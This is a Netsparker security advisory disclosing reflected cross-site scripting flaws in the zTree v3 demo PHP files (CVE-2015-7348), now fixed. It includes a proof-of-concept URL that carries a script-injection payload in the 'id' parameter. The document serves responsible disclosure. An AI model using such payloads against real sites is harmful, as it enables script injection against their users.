Information
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Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in zTree v3
Affected Software : zTree
Affected Versions: v3.5.19.1 and possibly below
Vendor Homepage : https://github.com/zTree/zTree_v3  
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
CVE-ID : CVE-2015-7348
Netsparker Advisory Reference : NS-15-019

Technical Details
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Proof of Concept URLs for XSS in zTree 3.5.19.1:

/zTree_v3-master/demo/en/asyncData/getNodesForBigData.php?id='"--></style></scRipt><scRipt>alert(0x00FA30)</scRipt>

/zTree_v3-master/demo/en/asyncData/getNodes.php
(POST, id parameter)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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04/09/2015 - First Contact
16/11/2015 - Vendor Fixed
17/11/2015 - Advisory Released

Solution
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https://github.com/zTree/zTree_v3 

Credits & Authors
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These issues have been discovered by Onur Yilmaz while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities, hence it does not report any false positives. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.